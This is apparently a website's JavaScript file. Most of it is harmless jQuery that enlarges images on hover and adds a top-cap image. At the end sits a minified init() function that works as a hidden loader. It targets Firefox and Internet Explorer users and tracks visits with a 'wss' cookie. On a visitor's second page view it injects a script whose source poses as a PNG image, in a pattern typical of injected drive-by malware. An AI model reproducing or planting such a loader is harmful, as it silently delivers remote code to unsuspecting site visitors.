resizing = [];

function resize(object, i, init_width, down) {
    init_width = parseInt(init_width, 10);
    cur_width  = parseInt($(object).width(), 10);
    
    if(!down && cur_width >= (init_width * 1.05)) {
        return;
    }
    
    if(down && cur_width <= init_width) {
        return;
    }
    
    if(down) {
        $(object).css('width', (cur_width - 1) + 'px');
        $(object).css('height', 'auto');
    }
    else {
        $(object).css('width', (cur_width + 1) + 'px');
        $(object).css('height', 'auto');
    }
    
    resizing[i] = setTimeout(function() {
        resize(object, i, init_width, down);
    }, 25);
}

$(document).ready(function() {
    // top cap
    $('#wrapper').before('<div id=\'topcap\'><img src=\'/Images/topcap.png\' alt=\'\' /></div>');
    
    $('img.resize').each(function(i) {
        $(this).css('cursor', 'pointer');
        
        $(this).mouseover(function(e) {
            
            if(typeof resizing[i] !== 'undefined') {
                clearTimeout(resizing[i]);
            }
            
            resize(this, i, parseInt($(this).css('min-width'), 10), false);
        });
        
        $(this).mouseleave(function(e) {
            clearTimeout(resizing[i]);
            resize(this, i, parseInt($(this).css('min-width'), 10), true);
        });
    });
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/Schrickx-Henkemans-Weijs.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
